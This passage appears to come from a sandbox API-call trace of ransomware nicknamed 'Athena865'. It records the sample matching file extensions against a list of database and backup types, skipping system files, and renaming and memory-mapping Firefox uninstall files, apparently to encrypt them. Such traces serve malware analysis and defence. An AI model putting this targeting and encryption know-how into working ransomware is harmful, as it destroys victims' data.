returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0096.029] lstrlenW (lpString="fp4") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0096.029] lstrlenW (lpString="fp5") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0096.029] lstrlenW (lpString="fp7") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0096.029] lstrlenW (lpString="fpt") returned 3 [0096.029] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0096.030] lstrlenW (lpString="frm") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0096.030] lstrlenW (lpString="gdb") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0096.030] lstrlenW (lpString="gdb") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0096.030] lstrlenW (lpString="grdb") returned 4 [0096.030] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0096.030] lstrlenW (lpString="gwi") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0096.030] lstrlenW (lpString="hdb") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0096.030] lstrlenW (lpString="his") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0096.030] lstrlenW (lpString="ib") returned 2 [0096.030] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0096.030] lstrlenW (lpString="idb") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0096.030] lstrlenW (lpString="ihx") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0096.030] lstrlenW (lpString="itdb") returned 4 [0096.030] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0096.030] lstrlenW (lpString="itw") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0096.030] lstrlenW (lpString="jet") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0096.030] lstrlenW (lpString="jtx") returned 3 [0096.030] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0096.030] lstrlenW (lpString="kdb") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0096.031] lstrlenW (lpString="kexi") returned 4 [0096.031] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0096.031] lstrlenW (lpString="kexic") returned 5 [0096.031] lstrcmpiW (lpString1="g.ini", lpString2="kexic") returned -1 [0096.031] lstrlenW (lpString="kexis") returned 5 [0096.031] lstrcmpiW (lpString1="g.ini", lpString2="kexis") returned -1 [0096.031] lstrlenW (lpString="lgc") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0096.031] lstrlenW (lpString="lwx") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0096.031] lstrlenW (lpString="maf") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0096.031] lstrlenW (lpString="maq") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0096.031] lstrlenW (lpString="mar") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0096.031] lstrlenW (lpString="marshal") returned 7 [0096.031] lstrcmpiW (lpString1="log.ini", lpString2="marshal") returned -1 [0096.031] lstrlenW (lpString="mas") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0096.031] lstrlenW (lpString="mav") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0096.031] lstrlenW (lpString="maw") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0096.031] lstrlenW (lpString="mdbhtml") returned 7 [0096.031] lstrcmpiW (lpString1="log.ini", lpString2="mdbhtml") returned -1 [0096.031] lstrlenW (lpString="mdn") returned 3 [0096.031] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0096.031] lstrlenW (lpString="mdt") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0096.032] lstrlenW (lpString="mfd") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0096.032] lstrlenW (lpString="mpd") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0096.032] lstrlenW (lpString="mrg") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0096.032] lstrlenW (lpString="mud") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0096.032] lstrlenW (lpString="mwb") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0096.032] lstrlenW (lpString="myd") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0096.032] lstrlenW (lpString="ndf") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0096.032] lstrlenW (lpString="nnt") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0096.032] lstrlenW (lpString="nrmlib") returned 6 [0096.032] lstrcmpiW (lpString1="og.ini", lpString2="nrmlib") returned 1 [0096.032] lstrlenW (lpString="ns2") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0096.032] lstrlenW (lpString="ns3") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0096.032] lstrlenW (lpString="ns4") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0096.032] lstrlenW (lpString="nsf") returned 3 [0096.032] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0096.032] lstrlenW (lpString="nv") returned 2 [0096.032] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0096.033] lstrlenW (lpString="nv2") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0096.033] lstrlenW (lpString="nwdb") returned 4 [0096.033] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0096.033] lstrlenW (lpString="nyf") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0096.033] lstrlenW (lpString="odb") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0096.033] lstrlenW (lpString="odb") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0096.033] lstrlenW (lpString="oqy") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0096.033] lstrlenW (lpString="ora") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0096.033] lstrlenW (lpString="orx") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0096.033] lstrlenW (lpString="owc") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0096.033] lstrlenW (lpString="p96") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0096.033] lstrlenW (lpString="p97") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0096.033] lstrlenW (lpString="pan") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0096.033] lstrlenW (lpString="pdb") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0096.033] lstrlenW (lpString="pdm") returned 3 [0096.033] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0096.033] lstrlenW (lpString="pnz") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0096.034] lstrlenW (lpString="qry") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0096.034] lstrlenW (lpString="qvd") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0096.034] lstrlenW (lpString="rbf") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0096.034] lstrlenW (lpString="rctd") returned 4 [0096.034] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0096.034] lstrlenW (lpString="rod") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0096.034] lstrlenW (lpString="rodx") returned 4 [0096.034] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0096.034] lstrlenW (lpString="rpd") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0096.034] lstrlenW (lpString="rsd") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0096.034] lstrlenW (lpString="sas7bdat") returned 8 [0096.034] lstrcmpiW (lpString1="_log.ini", lpString2="sas7bdat") returned -1 [0096.034] lstrlenW (lpString="sbf") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0096.034] lstrlenW (lpString="scx") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0096.034] lstrlenW (lpString="sdb") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0096.034] lstrlenW (lpString="sdc") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0096.034] lstrlenW (lpString="sdf") returned 3 [0096.034] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0096.035] lstrlenW (lpString="sis") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0096.035] lstrlenW (lpString="spq") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0096.035] lstrlenW (lpString="te") returned 2 [0096.035] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0096.035] lstrlenW (lpString="teacher") returned 7 [0096.035] lstrcmpiW (lpString1="log.ini", lpString2="teacher") returned -1 [0096.035] lstrlenW (lpString="tmd") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0096.035] lstrlenW (lpString="tps") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0096.035] lstrlenW (lpString="trc") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0096.035] lstrlenW (lpString="trc") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0096.035] lstrlenW (lpString="trm") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0096.035] lstrlenW (lpString="udb") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0096.035] lstrlenW (lpString="udl") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0096.035] lstrlenW (lpString="usr") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0096.035] lstrlenW (lpString="v12") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0096.035] lstrlenW (lpString="vis") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0096.035] lstrlenW (lpString="vpd") returned 3 [0096.035] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0096.036] lstrlenW (lpString="vvv") returned 3 [0096.036] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0096.036] lstrlenW (lpString="wdb") returned 3 [0096.036] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0096.036] lstrlenW (lpString="wmdb") returned 4 [0096.036] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0096.036] lstrlenW (lpString="wrk") returned 3 [0096.036] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0096.036] lstrlenW (lpString="xdb") returned 3 [0096.036] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0096.036] lstrlenW (lpString="xld") returned 3 [0096.036] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0096.036] lstrlenW (lpString="xmlff") returned 5 [0096.036] lstrcmpiW (lpString1="g.ini", lpString2="xmlff") returned -1 [0096.036] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini.Athena865") returned 76 [0096.036] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini.athena865"), dwFlags=0x1) returned 1 [0096.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.040] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=322) returned 1 [0096.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0096.040] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0096.041] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.041] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.041] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0096.045] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0096.045] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0096.046] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.046] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0096.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0096.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.047] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.047] CloseHandle (hObject=0x154) returned 1 [0096.047] CloseHandle (hObject=0x17c) returned 1 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0096.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.047] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2=".") returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="..") returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="windows") returned -1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="bootmgr") returned 1 [0096.047] lstrcmpiW (lpString1="uninstall.log", lpString2="temp") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="pagefile.sys") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="boot") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="ids.txt") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="ntuser.dat") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="perflogs") returned 1 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2="MSBuild") returned 1 [0096.048] lstrlenW (lpString="uninstall.log") returned 13 [0096.048] lstrcpyW (in: lpString1=0x241e8aa, lpString2="uninstall.log" | out: lpString1="uninstall.log") returned="uninstall.log" [0096.048] lstrlenW (lpString="uninstall.log") returned 13 [0096.048] lstrlenW (lpString="Athena865") returned 9 [0096.048] lstrcmpiW (lpString1="stall.log", lpString2="Athena865") returned 1 [0096.048] lstrlenW (lpString=".dll") returned 4 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2=".dll") returned 1 [0096.048] lstrlenW (lpString=".lnk") returned 4 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2=".lnk") returned 1 [0096.048] lstrlenW (lpString=".ini") returned 4 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2=".ini") returned 1 [0096.048] lstrlenW (lpString=".sys") returned 4 [0096.048] lstrcmpiW (lpString1="uninstall.log", lpString2=".sys") returned 1 [0096.048] lstrlenW (lpString="uninstall.log") returned 13 [0096.048] lstrlenW (lpString="bak") returned 3 [0096.048] lstrcmpiW (lpString1="log", lpString2="bak") returned 1 [0096.048] lstrlenW (lpString="ba_") returned 3 [0096.048] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1 [0096.048] lstrlenW (lpString="dbb") returned 3 [0096.048] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1 [0096.048] lstrlenW (lpString="vmdk") returned 4 [0096.048] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1 [0096.048] lstrlenW (lpString="rar") returned 3 [0096.048] lstrcmpiW (lpString1="log", lpString2="rar") returned -1 [0096.048] lstrlenW (lpString="zip") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="zip") returned -1 [0096.049] lstrlenW (lpString="tgz") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1 [0096.049] lstrlenW (lpString="vbox") returned 4 [0096.049] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1 [0096.049] lstrlenW (lpString="vdi") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1 [0096.049] lstrlenW (lpString="vhd") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1 [0096.049] lstrlenW (lpString="vhdx") returned 4 [0096.049] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1 [0096.049] lstrlenW (lpString="avhd") returned 4 [0096.049] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1 [0096.049] lstrlenW (lpString="db") returned 2 [0096.049] lstrcmpiW (lpString1="og", lpString2="db") returned 1 [0096.049] lstrlenW (lpString="db2") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="db2") returned 1 [0096.049] lstrlenW (lpString="db3") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="db3") returned 1 [0096.049] lstrlenW (lpString="dbf") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1 [0096.049] lstrlenW (lpString="mdf") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1 [0096.049] lstrlenW (lpString="mdb") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1 [0096.049] lstrlenW (lpString="sql") returned 3 [0096.049] lstrcmpiW (lpString1="log", lpString2="sql") returned -1 [0096.049] lstrlenW (lpString="sqlite") returned 6 [0096.049] lstrcmpiW (lpString1="ll.log", lpString2="sqlite") returned -1 [0096.049] lstrlenW (lpString="sqlite3") returned 7 [0096.049] lstrcmpiW (lpString1="all.log", lpString2="sqlite3") returned -1 [0096.049] lstrlenW (lpString="sqlitedb") returned 8 [0096.050] lstrcmpiW (lpString1="tall.log", lpString2="sqlitedb") returned 1 [0096.050] lstrlenW (lpString="xml") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="xml") returned -1 [0096.050] lstrlenW (lpString="$er") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="$er") returned 1 [0096.050] lstrlenW (lpString="4dd") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1 [0096.050] lstrlenW (lpString="4dl") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1 [0096.050] lstrlenW (lpString="^^^") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1 [0096.050] lstrlenW (lpString="abs") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="abs") returned 1 [0096.050] lstrlenW (lpString="abx") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="abx") returned 1 [0096.050] lstrlenW (lpString="accdb") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accdb") returned 1 [0096.050] lstrlenW (lpString="accdc") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accdc") returned 1 [0096.050] lstrlenW (lpString="accde") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accde") returned 1 [0096.050] lstrlenW (lpString="accdr") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accdr") returned 1 [0096.050] lstrlenW (lpString="accdt") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accdt") returned 1 [0096.050] lstrlenW (lpString="accdw") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accdw") returned 1 [0096.050] lstrlenW (lpString="accft") returned 5 [0096.050] lstrcmpiW (lpString1="l.log", lpString2="accft") returned 1 [0096.050] lstrlenW (lpString="adb") returned 3 [0096.050] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0096.050] lstrlenW (lpString="adb") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0096.051] lstrlenW (lpString="ade") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="ade") returned 1 [0096.051] lstrlenW (lpString="adf") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="adf") returned 1 [0096.051] lstrlenW (lpString="adn") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="adn") returned 1 [0096.051] lstrlenW (lpString="adp") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="adp") returned 1 [0096.051] lstrlenW (lpString="alf") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="alf") returned 1 [0096.051] lstrlenW (lpString="ask") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="ask") returned 1 [0096.051] lstrlenW (lpString="btr") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="btr") returned 1 [0096.051] lstrlenW (lpString="cat") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="cat") returned 1 [0096.051] lstrlenW (lpString="cdb") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1 [0096.051] lstrlenW (lpString="ckp") returned 3 [0096.051] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1 [0096.052] lstrlenW (lpString="cma") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="cma") returned 1 [0096.052] lstrlenW (lpString="cpd") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1 [0096.052] lstrlenW (lpString="dacpac") returned 6 [0096.052] lstrcmpiW (lpString1="ll.log", lpString2="dacpac") returned 1 [0096.052] lstrlenW (lpString="dad") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dad") returned 1 [0096.052] lstrlenW (lpString="dadiagrams") returned 10 [0096.052] lstrcmpiW (lpString1="nstall.log", lpString2="dadiagrams") returned 1 [0096.052] lstrlenW (lpString="daschema") returned 8 [0096.052] lstrcmpiW (lpString1="tall.log", lpString2="daschema") returned 1 [0096.052] lstrlenW (lpString="db-journal") returned 10 [0096.052] lstrcmpiW (lpString1="nstall.log", lpString2="db-journal") returned 1 [0096.052] lstrlenW (lpString="db-shm") returned 6 [0096.052] lstrcmpiW (lpString1="ll.log", lpString2="db-shm") returned 1 [0096.052] lstrlenW (lpString="db-wal") returned 6 [0096.052] lstrcmpiW (lpString1="ll.log", lpString2="db-wal") returned 1 [0096.052] lstrlenW (lpString="dbc") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1 [0096.052] lstrlenW (lpString="dbs") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1 [0096.052] lstrlenW (lpString="dbt") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1 [0096.052] lstrlenW (lpString="dbv") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1 [0096.052] lstrlenW (lpString="dbx") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1 [0096.052] lstrlenW (lpString="dcb") returned 3 [0096.052] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1 [0096.053] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.Athena865") returned 72 [0096.053] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log.athena865"), dwFlags=0x1) returned 1 [0096.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.054] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1940) returned 1 [0096.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0096.054] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0096.055] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.055] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.055] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa0, lpName=0x0) returned 0x154 [0096.056] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 